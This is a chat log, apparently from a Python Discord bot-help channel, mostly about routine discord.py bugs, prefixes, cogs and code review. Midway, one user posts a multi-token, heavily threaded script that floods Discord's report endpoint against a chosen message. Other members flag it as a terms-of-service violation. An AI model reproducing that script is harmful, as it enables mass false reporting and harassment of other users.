        command ="sysctl -n machdep.cpu.brand_string"
        return subprocess.check_output(command).strip()
    elif platform.system() == "Linux":
        command = "cat /proc/cpuinfo"
        all_info = subprocess.check_output(command, shell=True).strip()
        for line in all_info.split("\n"):
            if "model name" in line:
                return re.sub( ".*model name.*:", "", line,1)
    return ""

print(processor_name())
unkempt canyonBOT
#

@blissful sparrow :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 17, in <module>
003 |   File "<string>", line 11, in processor_name
004 |   File "/usr/local/lib/python3.10/subprocess.py", line 420, in check_output
005 |     return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
006 |   File "/usr/local/lib/python3.10/subprocess.py", line 501, in run
007 |     with Popen(*popenargs, **kwargs) as process:
008 |   File "/usr/local/lib/python3.10/subprocess.py", line 966, in __init__
009 |     self._execute_child(args, executable, preexec_fn, close_fds,
010 |   File "/usr/local/lib/python3.10/subprocess.py", line 1842, in _execute_child
011 |     raise child_exception_type(errno_num, err_msg, err_filename)
... (truncated - too many lines)

Full output: https://paste.pythondiscord.com/tuladahebi.txt?noredirect

blissful sparrow
#

hmm thats why it didnt work

unique stone
blissful sparrow
#

breh

slate swan
blissful sparrow
#

am i right in thinking pass_context=True is ignored now?

maiden fable
#

Yes

blissful sparrow
#

great can remove that from the code then

slate swan
maiden fable
#

No

blissful sparrow
#

if I add anther class to the same cog file do I have to add it to the setup at the bottom?

maiden fable
#

U use only one setup function and just add another line to add the cog

blissful sparrow
#

Yeh thats what I meant

slate swan
heady sluice
#

our friendly command deco

lucid bison
#

how do i set a function to be executed when an invalid command is execute din hikari

heady sluice
#

our beloved

slate swan
#

Help me

#

Moment

#

cogs/music.py

from discord.ext import commands

class Radio(commands.Cog):
  def __init__(self, client):
    self.client = client
    
  @commands.command()
  async def join(self, ctx):
    channel = ctx.author.voice.channel
    if ctx.author.voice != None:
      channel.connect()
      await ctx.send('Successful')
    else:
      await ctx.send('Pls join to voice channel')
      
def setup(client):
  client.add_cog(Radio(client))```
#

main.py

import os
from discord.ext import commands

client = commands.Bot(command_prefix='+',help_command=None,activity=discord.Game(name='Дристаю толчёк 24/7'))

@client.event
async def on_ready():
  print('Bot online')

for filename in os.listdir('./cogs'):
  if filename.endswith('.py'):
    client.load_extension(f'cogs.{filename[:-3]}')

token = os.environ.get('Token')
client.run(token)```
#

Sad

blissful sparrow
#

how do u allow a command to be ran both in guild and dms?

#

would it have to be an if statement?

slate swan
#

hey im pretty dumb founded, i was wondering how to start a bot once you opt into the folder through cmd?

#

here is my code

import requests
import time
import logging
import ctypes
import os
from threading import Thread
from colorama import Fore

kernel32 = ctypes.windll.kernel32
tokens = open("data/token.txt", "r").read().splitlines()

logging.basicConfig(
    level=logging.INFO,
    format=f"{Fore.GREEN}[{Fore.RESET}!{Fore.GREEN}] {Fore.RESET}%(message)s{Fore.RESET}",
)

class Discord: 
    def check(token):
        headers = {
            'Authorization': token,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
            'Accept': '*/*',
        }
        r = requests.get(f'https://discord.com/api/v9/users/@me/library', headers=headers)
        if r.status_code == 200:
            logging.info("Token Validated!")
            print()
        else:
            logging.info("Token Invalid")
            time.sleep(5)

    def report(token, channel, guild, message):
        global checked
        checked = 0
        headers = {
            'Authorization': token,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
            'Accept': '*/*',
        }
        json = {
            "channel_id": channel,
            "guild_id": guild,
            "message_id": message,
            "reason": reason
        }
        while True:
            r = requests.post("https://discord.com/api/v9/report", headers=headers, json=json)
            if r.status_code == 201:
                ctypes.windll.kernel32.SetConsoleTitleW(f"[REPORT BOT] | %s" % checked + ' SENT')
                checked += 1
                logging.info("Report Sent Successfully!")
            else:
                print(Fore.RED + "[" + Fore.RESET + "!" + Fore.RED + "]" + Fore.RESET + " Error Sending Report!")

    def get_reason():
        print(f"""{Fore.GREEN}[{Fore.RESET}{0}{Fore.GREEN}]{Fore.RESET} Illegal Content
{Fore.GREEN}[{Fore.RESET}{1}{Fore.GREEN}]{Fore.RESET} Harassment
{Fore.GREEN}[{Fore.RESET}{2}{Fore.GREEN}]{Fore.RESET} Spam or Phishing Links
{Fore.GREEN}[{Fore.RESET}{3}{Fore.GREEN}]{Fore.RESET} Self-Harm
{Fore.GREEN}[{Fore.RESET}{4}{Fore.GREEN}]{Fore.RESET} NSFW Content
        """)
        while True: 
            reason = input(Fore.GREEN + "[" + Fore.RESET + "?" + Fore.GREEN + "]" + Fore.RESET + " Reason >> ")
            if reason in list('01234'):
                return reason
            print(Fore.RED + "[" + Fore.RESET + "!" + Fore.RED + "]" + Fore.RESET + " Invalid Reason!")
            print()
                
if __name__ == '__main__':
    os.system('cls')
    reason = Discord.get_reason()
    for token in tokens: 
        Discord.check(token)
        guild = input(Fore.GREEN + "[" + Fore.RESET + "?" + Fore.GREEN + "]" + Fore.RESET + " Guild ID >> ")
        channel = input(Fore.GREEN + "[" + Fore.RESET + "?" + Fore.GREEN + "]" + Fore.RESET + " Channel ID >> ")
        message = input(Fore.GREEN + "[" + Fore.RESET + "?" + Fore.GREEN + "]" + Fore.RESET + " Message ID >> ")
        print()
        for i in range(250, 1000):
            Thread(target=Discord.report, args=(token, channel, guild, message)).start()
blissful sparrow
#

pip install requests

slate swan
#

@blissful sparrow

blissful sparrow
#

yup

slate swan
#

@slate swan

slate swan
#

you wrote all of that yet u don't know how to run a file

#

@velvet compass sorry for the ping but i saw you chatting in general so it shouldn't matter; this dude is asking for help with code against tos very abdly

velvet compass
#

A Discord report bot?

slate swan
#

yeah

slate swan
#

yeah thats my friend

velvet compass
slate swan
#

so im able to report people in my server

#

what

#

suppose someone is posting gore or inapporpriate things

#

do u know the point of this tool

velvet compass
slate swan
#

bro fuck you guys

dull terrace
#

is someone in trouble Munchpopcorn

slate swan
#

for token in tokens

#

Looks like a mass reporting tool

velvet compass
tough mirage
#

How would I make a command where if someone does .massnick {name} it changes there nickname in all discords the bots in.

dull terrace
slate swan
#

u can just iterate through all members in a guild and just change nicknames

#
       for member in ctx.guild.members:
            await member.edit(nick=add_an_arguement_to_your_command)```
#

don't use that tho, since it's api abuse and very high chance your bot could be banned

tough mirage
#

It’s only in a few discords, it’s convenient instead of going into each discord and manually doing it

midnight crane
#

not sure why it isnt sending the gif

#

why is it skipping the gif

heady sluice
heady sluice
slate swan
#

ohh i miss read my apologies

heady sluice
#

iterate through the servers the bot's in, get the member with that id and use the member.edit line

#

so get_member might be None, check for that

slate swan
#

so he wants the authors nickname to be changed everywhere?

heady sluice
#

yeah

slate swan
steady flume
#

help me pls

junior verge
#

Read the error

#

Maybe await it lol

lofty pecan
#

Hello there, so I have a discord bot and in a json file I have roles able to run some commands. I use the following line of code to check the role or permissions of a user:

if (ctx.message.author.guild_permissions.administrator) or (any(r.id in self.idroles for r in member.roles))

But for some reason, the bot says that permissions is missing despite having the role. Putting the role on top of all of the others solve the issue. But I don't want to do that with every role. So would there be a way to fix this?

#

and for some reason even after doing so it still misses the permissions. By restarting the bot it suddendly works

#

It's a bit confusing

slate swan
#

in message event, check if the message content has your bot mentioned in it, then do your stuff

lofty pecan
dull terrace
#

getting the weirdest bug right now

#

i have drop downs that appear under certain conditions, the placeholders are stuck on old ones and show the same for every time they appear

#

but it only happens on mobile

#

and when viewing the same drop downs on desktop it shows the correct placeholders

#

re-opened discord on mobile and it updated them to the correct ones

#

now it's working right wtf

#

reset the game and getting the same bug

#

but when i view the exact game on desktop it's the correct thing

steady flume
#

How to make cogs in version 2 after update ?

midnight crane
lofty pecan
#

Hey I can't figure out what member.roles return, is it a list of name or id ?

stone talon
# slate swan cogs/music.py ```import discord from discord.ext import commands class Radio(co...
import discord
from discord.ext import commands

class Radio(commands.Cog):
  def __init__(self, client):
    self.client = client
    
  @commands.command()
  async def join(self, ctx):
    channel = ctx.author.voice.channel
    if ctx.author.voice != None:
      await channel.connect()
      await ctx.send('Successful')
    else:
      await ctx.send('Pls join to voice channel')
      
def setup(client):
  client.add_cog(Radio(client))

You forgot to add await in this line: channel.connect()

slate swan
#

!d discord.Member.roles

unkempt canyonBOT
#

property roles```
A [`list`](https://docs.python.org/3/library/stdtypes.html#list "(in Python v3.10)") of [`Role`](https://discordpy.readthedocs.io/en/master/api.html#discord.Role "discord.Role") that the member belongs to. Note that the first element of this list is always the default [‘@everyone](mailto:'%40everyone)’ role.

These roles are sorted by their position in the role hierarchy.
dull terrace
#

ookay so i think the bug is that whatever was last selected in a dropdown stays as its placeholder

#

but only on mobile for some reason

#

and only temporarily, once you reload it goes to the actual placeholder

#

sooo how do i fix it

lofty pecan
somber sky
lofty pecan
#

a classic

#

the int is actually already the id you're looking for

somber sky
#

what that mean

lofty pecan
#

int doesn't have any id attribute I assume you're trying to get the id out of an int

dull terrace
#

discord has actually screwed my app so bad

slate swan
slate swan
dull terrace
#

Bug visuals for mobile Android. It's fixed when you reopen discord or look at it on mobile. Any ideas on how to get around it?

#

sorry for the long message, idk how to post this without it froggy_chill

#

this is after selecting materials market, now everything uses that as the placeholder...

dull terrace
#

gonna be a horrible experience for anyone on mobile and rn its looking like a discord bug that wont be fixed for months

hearty island
sick birch
hearty island
hearty island
sick birch
#

Can I see the client constructor?

hearty island
sick birch
#

Is that at the bottom of your code?

#

After client.run()?

hearty island
#

yea basically

sick birch
#

hmmm

#

and it says client isn't defined?

hearty island
#

yep

#

ive tried every way for the last hour

magic ore
#

Did you save the file

hearty island
#

yea

sick birch
#

hmmm

hearty island
magic ore
#

It doesn't say client isn't defined

hearty island
magic ore
#

at the bottom

#

You run the file two separate times

hearty island
#

oh

sick birch
#

ah

hearty island
dull terrace
#

no one has any ideas? This is literally the last thing i need for my bot before it's beta ready... froggy_chill

sick birch
#

Event loop is closed

#

That usually happens when there's an invalid token

hearty island
#

still

#

dont work i resteed my token

sick birch
#

You said that token was your old token right

hearty island
#

nope i just updated it and im gonan reset it rn

sick birch
#

So it makes sense that it's an invalid token

hearty island
sick birch
#

And that's the token you're using?

hearty island
#

ye

sick birch
#

hmmm

#

that's very strange

hearty island
#

ima just uninstall and stop trying

nova stag
#

getting this error

#

even tho i have given the command_prefix argument

cloud dawn
stone beacon
#

It's __init__

#

not innit

nova stag
#

my brain has been exploading

cloud dawn
#

lol

nova stag
#

over this

#

thanks XD

cloud dawn
#

that's not so good innit

hearty island
#

@sick birch im trying every single WAY

slate swan
hearty island
slate swan
#

have you got discord.py installed? and the correct version?

hearty island
#

yea

#

yeah i do

slate swan
#

maybe try switching over to pycord, it’s basically the same

hearty island
#

kk

slate swan
#
  1. Uninstall discord.py or any other forks of discord.py you might have with the namespace discord.
python -m pip uninstall discord.py discord -y
  1. Install py-cord
python -m pip install py-cord

Installing other builds:
Note: You need to have git installed. Use !git to find out how to install git.

Updating the module to Alpha (unstable):

pip install -U git+https://github.com/Pycord-Development/pycord

Updating to beta:

pip install py-cord==2.0.0b5
hearty island
silent ridge
#

anyone knows what I am doing wrong?

slate swan
hearty island
#

^

silent ridge
#

how can I solve that?

slate swan
#

remove one on_ready function

silent ridge
slate swan
#

no, you cant have two on_ready events

silent ridge
slate swan
#

send your code

silent ridge
slate swan
#

yes

silent ridge
slate swan
#

just the on_ready parts

silent ridge
#
@client.event
async def on_ready():
    print("[Connected]")
    activity = discord.Game(name="protecting gako's server", type=3)
  
    await client.change_presence(status=discord.Status.online, activity=activity)
async def on_ready():
    print(f'{client.user} has connected to Discord!')
    verificationChannel = client.get_channel(verificationChannelID)

    messages = await verificationChannel.history(limit=200).flatten()
    for message in messages:
        print(message.author)
        if str(message.author) == botName:
            await message.delete()

    button = Button(label="Verify")
    view = View()
    view.add_item(button)
    button.callback = send  # 'send' voor modals , button_callback voor button only verification
    await verificationChannel.send("Enter the password to verify!", view=view)```
slate swan
#

why do you have buttons with your on_ready event

silent ridge
hearty island
slate swan
hearty island
slate swan
#

what is it?

hearty island
slate swan
#

what’s Git? is it GitHub?

hearty island
#

yh

potent spear
#

!paste

unkempt canyonBOT
#

Pasting large amounts of code

If your code is too long to fit in a codeblock in discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

hearty island
#

ERROR: Error [WinError 2] The system cannot find the file specified while executing command git version
ERROR: Cannot find command 'git' - do you have 'git' installed and in your PATH? i got this eror i searched nd this came

dull terrace
#

anyone here on mobile want to quickly test a bot?

slate swan
#

i’m on mobile

boreal ravine
#

same

dull terrace
flat solstice
#

an embed doesn't count as empty if it has a field in it right? or do I need to have a description?

dull terrace
#

thanks for testing my bot sift

boreal ravine
#

👍

reef dock
#

is there any way to like resync all the global slash commands cause all the servers my bot is in slash commands come up in the / context menu but in my server it doesnt?

nova bear
#

@sick birch do you think you can help me again? I started fresh and removed all the messed up code i had before

sick birch
#

Sure, remind me what you were trying to do?

nova bear
#

the email thing

#

I'm new to python so I got really confused

dull terrace
#

bots can only send 5 messages per second within a guild right?

pliant gulch
#

It's not 5/1s

#

It's 5/5s

#

And this endpoint has ratelimits utilising buckets

#

So there would be different ratelimit counts per channel, etc

sick birch
# nova bear the email thing

Yeah, sure. Shouldn't be that difficult, follow this framework and you should be good:

@bot.command()
async def my_command(...):
  message = await bot.wait_for(...)
  if "@gmail.com" in message.content:
    # user sent a message with "@gmail.com" in it
  else:
    # they didn't do something
nova bear
#

sorry if this seems dumb but im still trying to understand, what would i put in wait for() or my command?

unkempt canyonBOT
#

wait_for(event, /, *, check=None, timeout=None)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).

Waits for a WebSocket event to be dispatched.

This could be used to wait for a user to reply to a message, or to react to a message, or to edit a message in a self-contained way.

The `timeout` parameter is passed onto [`asyncio.wait_for()`](https://docs.python.org/3/library/asyncio-task.html#asyncio.wait_for "(in Python v3.10)"). By default, it does not timeout. Note that this does propagate the [`asyncio.TimeoutError`](https://docs.python.org/3/library/asyncio-exceptions.html#asyncio.TimeoutError "(in Python v3.10)") for you in case of timeout and is provided for ease of use.

In case the event returns multiple arguments, a [`tuple`](https://docs.python.org/3/library/stdtypes.html#tuple "(in Python v3.10)") containing those arguments is returned instead. Please check the [documentation](https://discordpy.readthedocs.io/en/master/api.html#discord-api-events) for a list of events and their parameters.

This function returns the **first event that meets the requirements**...
nova bear
#

Ok thanks, what would i put in the my command

blissful sparrow
#

breh

#
def get_prefix(bot, ctx:ctx.commands):
    c.execute('CREATE TABLE IF NOT EXISTS prefixes(guild_id TEXT,prefix TEXT)')
    c.execute(f'SELECT prefix WHERE GUILD_ID = {ctx.guild.id}')
    result = c.fetchone()

    if result:
        prefix = str(result[0])

    if not result:
      prefix = '.'

    return prefix
#

gives this error def get_prefix(bot, ctx:commands.ctx): AttributeError: module 'discord.ext.commands' has no attribute 'ctx'

#

oh wait nvm ik what I did I think

mellow mountain
#

So, i have a timestamp that looks like 2018-11-25T18:00:55.000+0000 - is it possible to change it to a new string that converts and outputs 25th November 2018 in any way?

blissful sparrow
#

thanks

boreal ravine
mellow mountain
#

Its part of my discordbot, i just added the whole date in the embed, but that looks absoluty weird, so i just want to convert it to some kind of easier date.

slate swan
flat solstice
#

so I have this as part of my on_voice_state_update logs ```py
values = []
message = ""
if before.mute != after.mute: # Member muted/unmuted
values.append(f"{'Unmuted' if after.mute is False else 'Muted'}"),
embed.colour = (
Colour.dark_teal() if after.mute is False else Colour.dark_magenta()
)
if before.deaf != after.deaf: # Member deafened/undeafened
values.append(f"{'Undeafened' if after.deaf is False else 'Deafened'}"),
embed.colour = (
Colour.dark_teal() if after.deaf is False else Colour.dark_magenta()
)
if before.self_mute != after.self_mute: # Member self-muted/unmuted
values.append(
f"{'Unmuted' if after.self_mute is False else 'Muted'}",
)
embed.colour = (
Colour.dark_green() if after.self_mute is False else Colour.dark_red()
)
if before.self_deaf != after.self_deaf: # Member self-deafened/undeafened
values.append(
f"{'Undeafened' if after.self_deaf is False else 'Deafened'}"
),
embed.colour = (
Colour.dark_green() if after.self_deaf is False else Colour.dark_red()
)
if before.self_stream is not after.self_stream:
values.append(
f"{'Not-Streaming' if after.self_stream is False else 'Streaming'}",
)
embed.colour = (
Colour.dark_green() if after.self_stream is False else Colour.dark_red()
)
if before.self_video is not after.self_video:
values.append(
f"{'No Video' if after.self_video is False else 'Video'}",
)
embed.colour = (
Colour.dark_green()
if after.self_video is False
else Colour.dark_green()
)
if before.suppress is not after.suppress:
values.append(
f"{'Not Suppressed' if after.suppress is False else 'Suppressed'}",
)
embed.colour = (
Colour.dark_teal() if after.suppress is False else Colour.dark_magenta()
)
if before.requested_to_speak_at is not after.requested_to_speak_at:
values.append(
f"<t:{int(after.requested_to_speak_at)}:R> ",
)
embed.colour = Colour.dark_blue()

for value in values:
if value is values[0]:
message = message + value
else:
message = message + f"\n{value}"
if message is not None:
embed.add_field(name="Additional Information", value=message)but for some reason it's giving me this errorpy
File "C:\Users\Teagan\Documents\Coding\Zupie\env\lib\site-packages\discord\client.py", line 375, in _run_event
await coro(*args, **kwargs)
File "C:\Users\Teagan\Documents\Coding\Zupie\bot\cogs\events.py", line 269, in on_voice_state_update
await self.test_log.send(embed=embed)
File "C:\Users\Teagan\Documents\Coding\Zupie\env\lib\site-packages\discord\abc.py", line 1494, in send
data = await state.http.send_message(channel.id, params=params)
File "C:\Users\Teagan\Documents\Coding\Zupie\env\lib\site-packages\discord\http.py", line 501, in request
raise HTTPException(response, data)
discord.errors.HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In embeds.0.fields.0.value: This field is required```and I'm not sure why since it shouldn't be trying to add the field if the message is empty/None

mellow mountain
#

Alright, thanks alot!

blissful sparrow
#

Bot aint replying now, all I did was try to add a db.

@bot.event
async def on_guild_join(guild):
    await guild.create_role(name="Ghosted" , color=0x020101)
    conn = sqlite3.connect('./sql/ghost_bot.db')
    c = conn.cursor()
    c.execute(f'SELECT * FROM ghost_bot WHERE guild_id = {guild.id}')
    result = c.fetchone()

    if not result:
        c.execute('INSERT INTO ghost_bot(guild_id,prefix) VALUES(?,?)', (guild.id, '.'))    
    
    if result:
        c.execute(f'UPDATE ghost_bot SET prefix = ? WHERE guild_id = ?', ('.', guild.id))
        
    conn.commit()
    c.close()
    conn.closes()
#

no errors in the console

#
def get_prefix(bot, ctx:commands.Context):
    conn = sqlite3.connect('./sql/ghost_bot.db')
    c = conn.cursor()
    c.execute('CREATE TABLE IF NOT EXISTS prefixes(guild_id TEXT,prefix TEXT)')
    c.execute(f'SELECT prefix WHERE GUILD_ID = {ctx.guild.id}')
    result = c.fetchone()

    if result:
        prefix = str(result[0])

    if not result:
      prefix = '.'

    conn.commit()
    c.close()
    conn.close()

    return prefix
flat solstice
blissful sparrow
#
bot = commands.Bot(command_prefix='get_prefix', intents=intents)
#
def get_prefix(bot, ctx:commands.Context):
    conn = sqlite3.connect('./sql/ghost_bot.db')
    c = conn.cursor()
    c.execute('CREATE TABLE IF NOT EXISTS ghost_bot(guild_id TEXT,prefix TEXT)')
    c.execute(f'SELECT prefix WHERE guild_id = {ctx.guild.id}')
    result = c.fetchone()

    if result:
        prefix = str(result[0])

    if not result:
      prefix = '.'

    conn.commit()
    c.close()
    conn.close()

    return prefix
sick birch
boreal ravine
#

also if you aren't familiar with SQL you can use an ORM

blissful sparrow
#

now it aint replying

boreal ravine
#

error?

blissful sparrow
#

no errors

boreal ravine
#

new code?

blissful sparrow
#
def get_prefix(bot, ctx:commands.Context):
    conn = sqlite3.connect('./sql/ghost_bot.db')
    c = conn.cursor()
    c.execute('CREATE TABLE IF NOT EXISTS ghost_bot(guild_id TEXT,prefix TEXT)')
    c.execute(f'SELECT prefix FROM ghost_bot WHERE guild_id = {ctx.guild.id}')
    result = c.fetchone()

    if result:
        prefix = str(result[0])

    if not result:
      prefix = '.'

    conn.commit()
    c.close()
    conn.close()

    return prefix


bot = commands.Bot(command_prefix=get_prefix, intents=intents)
blissful sparrow
#

I would use aiosqlite but I need to understand where I should put the awaits lol

#

this is to just get me up n running

fallow mauve
#

how to make a command that adds a word or phrase to a list in a seperate file like a json file or smth

boreal ravine
#

it might not create the table

blissful sparrow
#

I mean it has created it cos I deleted the file and it made it again with the two columns

#

ill give a go anyways

#

nope same result

#

silent af

silent ermine
#

how do I feetch a role by Id and give it to the command user?

fallow mauve
fallow mauve
fallow mauve
#

kk, can you DM me?

silent ermine
#

sure

slate swan
#
@bot.event
async def on_message_join(member):
    channel = bot.get_channel(961059290058227765)
    embed=discord.Embed(title=f"Welcome {member.name}", description=f"Thanks for joining {member.guild.name}!") 
    embed.set_thumbnail(url=member.avatar_url) 
    await channel.send(embed=embed)```
fallow mauve
#

btw @silent ermine still needs help i misunderstood the question

boreal ravine
sick birch
#

You can give that role using:

await member.add_roles(role)
fallow mauve
#

why is discord_slash not a module?

#

it used to be

slate swan
#

good thing its not

fallow mauve
#

why is that

#

and why cant i use it

#

i want it back bcs i need slash commands for my bot

slate swan
#

main has slash commands so using a third party lib is useless

#

just use main!

fallow mauve
slate swan
#

i see no reason why not to use main. too hard? theres examples in the github repo.

fallow mauve
#

thx

slate swan
torn sail
#

You won’t be able to use it when u upgrade to discord.py v2

fallow mauve
#

im using it for a very tiny simple 1 server bot

sick birch
# fallow mauve thx

It's strongly recommended to not use the old third party libraries and rather use the mainstream and maintained forks that are full featured

slate swan
sick birch
#

Yeah, fair point

slate swan
#

you do you

fallow mauve
#

i will definitely look into it but for now im sticking with what i know how to use

slate swan
#

you can learn main in the examples in the repo(if there is) or just read src!

fallow mauve
#

src?

slate swan
#

source code

fallow mauve
#

ok

slate swan
#

i assume they have examples in docs

sick birch
#

Yeah, I'm with you on that one

slate swan
#

i use disnake because i like the simple slash command impl

sick birch
#

You know I don't really get why these libraries are implementing slash commands in a way that it runs every time you run your bot

slate swan
#

which it feels idk better since the slash commands are bound to your bot and not a tree

sick birch
#

I prefer discord.js's implementation

slate swan
sick birch
#

Deploy once, listen in your bot, seperation of concerns

slate swan
#

pulling js in this convo you simp

#

😡

sick birch
#

I'm just saying it's not logical to bundle slash command registration with listening

#

For regular text-commands I understand

#

But slash commands in their nature are persistent

fallow mauve
sick birch
#

I guess they're getting too caught up in trying to make the transition as seamless as possible but neglecting the fact that it may not fit with the current implementation

#

Yeah not the best experience there

#

I prefer it over here tbh

slate swan
#

i dont really like how people get treated in the dpy server its quite shamful

sick birch
#

Indeed

#

Same deal with djs server

dull terrace
#

this server has been the best i've found for discord bot info so far froggy_chill

#

disnake has been pretty chill too when i have an issue

slate swan
final iron
#

I have

slate swan
#

i like disnakes server. its quite professional and helpful and its owner is quite a cool person which ive spoked to him before, i had a lovely conversation with him and the libs helpers are cool people as well, very nice people from my experience. Yes some arent as nice but they arent hateful in anyway.

#

they think people dont make mistakes smh

sick birch
#

Fair amount of gatekeeping

fallow mauve
#

btw dont you have to wait a while before slash commands update?

sick birch
slate swan
#

they mostly judge by roles which i hate theres just this big higherarchy

fallow mauve
#

but they still work instantly in DMs with bot right

#

at least with discord_slash

#

they do

sick birch
#

Doubtful

fallow mauve
#

ok

slate swan
#

bro

fallow mauve
#

yeah im using global im pretty sure so that would make sense

slate swan
#

we just judge the dpy server and you just recommend it💀

fallow mauve
#

he didnt recomment it, he asked in it

slate swan
#

ah mb

#

he still asked after he judged it😭

#

😭

#

you need protection

#

🔫 me

dull terrace
#

anyone else wanna do a little beta test of my bot? froggy_chill

slate swan
#

just have an alt account

supple thorn
#

I just realize kayya is yerlikaya

slate swan
dull terrace
#

it's a game bot

slate swan
#

same😔

supple thorn
dull terrace
slate swan
slate swan
supple thorn
#

I also have him added

slate swan
supple thorn
#

His eren avatar threw me off

slate swan
#

🗿

dull terrace
supple thorn
#

I finally got a bank account yesterday

slate swan
supple thorn
#

We don't talk about that time

slate swan
#

its not quite fps

supple thorn
#

😳

slate swan
#

as you arent getting the same frames each second

dull terrace
#

sure

supple thorn
dull terrace
#

sure sure

slate swan
#

do you use a db to store progress?

final iron
#

How else would he

slate swan
#

he didnt said he stores progress

#

and easy

#

a .txt file

#

😳

final iron
#

Bro

boreal ravine
#

😉

slate swan
#

my ctrl bind is on stand by

#

im down

#

havent tried it so im down to try something new

boreal ravine
#

game engine?

dull terrace
slate swan
#

bro

boreal ravine
#

whats the game name?

slate swan
boreal ravine
#

i see..

pliant gulch
#

Xiangqi probably

slate swan
#

andy i still recognize you😳

blissful sparrow
#

for drop downs do we have to import anything?

slate swan
#

just some classes

pliant gulch
supple thorn
#

I'm down i don't know how much i can help or if i can though

slate swan
pliant gulch
#

Kind of weird you check that

slate swan
slate swan
supple thorn
#

I can tell that's andy because of my note

blissful sparrow
#

also is there a way for the bot to send the current guild prefix when mentioned?

slate swan
#

!d discord.Message.mentions

unkempt canyonBOT
#

A list of Member that were mentioned. If the message is in a private message then the list will be of User instead. For messages that are not of type MessageType.default, this array can be used to aid in system messages. For more information, see system_content.

Warning

The order of the mentions list is not in any particular order so you should not rely on it. This is a Discord limitation, not one with the library.

slate swan
#

Check if the bot.user is in this

#

!d discord.ext.commands.Bot.get_prefix , use this to get prefix

unkempt canyonBOT
#

await get_prefix(message, /)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).

Retrieves the prefix the bot is listening to with the message as a context.

Changed in version 2.0: `message` parameter is now positional-only.
slate swan
#

ive seen this game before

#

Albert einstein had one in his pocket always

supple thorn
#

I got no clue if i can help with that

dull terrace
#

next step in the source code

supple thorn
#

Lmao impostor variable

slate swan
#

the file structure is horrible and 2 classes in the same file is just something else

dull terrace
#

you guys have any feedback on the game? froggy_chill

slate swan
#

i mean since its base ig

pliant gulch
#

You made Grid a generic by inheritance, but you also don't give any typevars to it? Your repr also does an O(n * m) call everytime, And you have a coroutine function find that does an atomic operation

#

This makes no sense

slate swan
#

yeah theres allot of useless coroutines for some what reason

pliant gulch
#

get_deployable is also pretty in-efficient

blissful sparrow
#
@bot.event
async def on_mention(ctx, user: discord.Member):
    prefix = await get_prefix()
    embed = discord.Embed(title='Guild Prefix', description=f'{user.mention} the current prefix is {prefix}', color=0x000000)
    await ctx.message.reply(embed=embed)

Bot aint replying wid da prefix, I do summin wrong?

#
async def get_prefix(bot, ctx:commands.Context):
    conn = sqlite3.connect('./sql/ghost_bot.db')
    c = conn.cursor()
    c.execute('CREATE TABLE IF NOT EXISTS ghost_bot(guild_id TEXT,prefix TEXT)')
    c.execute(f'SELECT prefix FROM ghost_bot WHERE guild_id = {ctx.guild.id}')
    result = c.fetchone()

    if result:
        prefix = str(result[0])

    if not result:
      prefix = '.'

    conn.commit()
    c.close()
    conn.close()

    return prefix

get_prefix()

pliant gulch
unkempt canyonBOT
#

main.py lines 92 to 102

neighbors = []
for pair in ((0, 1), (0, -1), (1, 0), (-1, 0)):
    if (
        0 <= imposter[0] + pair[0] <= len(matrix) - 1
        and 0 <= imposter[1] + pair[1] <= len(matrix[0]) - 1
    ):
        neighbors.append(matrix[imposter[0] + pair[0]][imposter[1] + pair[1]])

self.deployables = {
    key: value for key, value in self.mappings.items() if key in neighbors
}```
pliant gulch
#

Then you iterate the list again after creating it

#

Also please note, as I said in my first message, everytime you call your __repr__ it's an O(n * m) call 👁️ 👁️

#

So, this would happen when you call print with no __str__ bound, and other stuff

#
for i in range(1000):
    for idx in range(1000):
        ...
``` basically
#

You can see how that would be computationally expensive

slate swan
#

linear time by?

#

🤨

pliant gulch
#

Well why are you casting the dict back to a list?

#

Couldn't you just iterate values() or something

#

In your repr

unkempt canyonBOT
#

main.py line 26

_repr_list = list(self.mappings)```
pliant gulch
#

You cast it to a list, so that would be O(n) then you iterate it again

#

When you could've just iterated keys in the first place

#

Which has me confused, as to why even cast in the first place

#

It makes 0 sense

#

I would also recommend getting rid of setting the event policy to windows, that would break things for linux users. Espcially if you put it module level

#

I overall would recommend and even suggest going back to the drawing board and really thinking about what to write

#

You should try to write proper code, not in the spur of the moment code

slate swan
#

i just read a bit of src while andy got to the core of everything😭

boreal ravine
#

@slate swan are you using 3.10?

slate swan
#

what

boreal ravine
#

python 3.10*

#

ic

unkempt canyonBOT
#

main.py lines 68 to 72

async def find(self, key: KT, *, default: KT = "") -> VT:
    try:
        return self[key]
    except KeyError:
        return self[default]```
pliant gulch
#

Could just be return self.get(key, "")

#

I would also recommend finding a way to render the board yourself without tabulate

#

I'm sure it adds some more overhead you wouldn't really need

#

Alright, that's good

#

Also keep in mind, asserts shouldn't be used for public code or whatever like that

hushed galleon
pliant gulch
#

Make sure to remove it later on if you are using it as a placeholder

pliant gulch
#

Your main meat is gonna be in the get_deployables, I'd start rewriting that

#

Also is there any need to make it async??

#

Most, if not all of your calls are atomic operations

#

If you make the iteration asynchornous, which is super easy

#

You'd have to pretty much make everything else async

#

which makes no sense here

pliant gulch
pliant gulch
#

You don't

#

Just make it synchronous, there is no real reason for you to make it asynchronous

slate swan
#

what do you guys even mean on atomic operations?

pliant gulch
#

You gonna give yourself a headache, and it's probably not even gonna make your code any better speed wise

slate swan
#

just make a function a coroutine if it actually needs something async inside of it

pliant gulch
#

If you want to use it in your discord bot

#

Just run it inside of executor

#

Or, to_thread

#

!d asyncio.to_thread

unkempt canyonBOT
#

coroutine asyncio.to_thread(func, /, *args, **kwargs)```
Asynchronously run function *func* in a separate thread.

Any *args and **kwargs supplied for this function are directly passed to *func*. Also, the current [`contextvars.Context`](https://docs.python.org/3/library/contextvars.html#contextvars.Context "contextvars.Context") is propagated, allowing context variables from the event loop thread to be accessed in the separate thread.

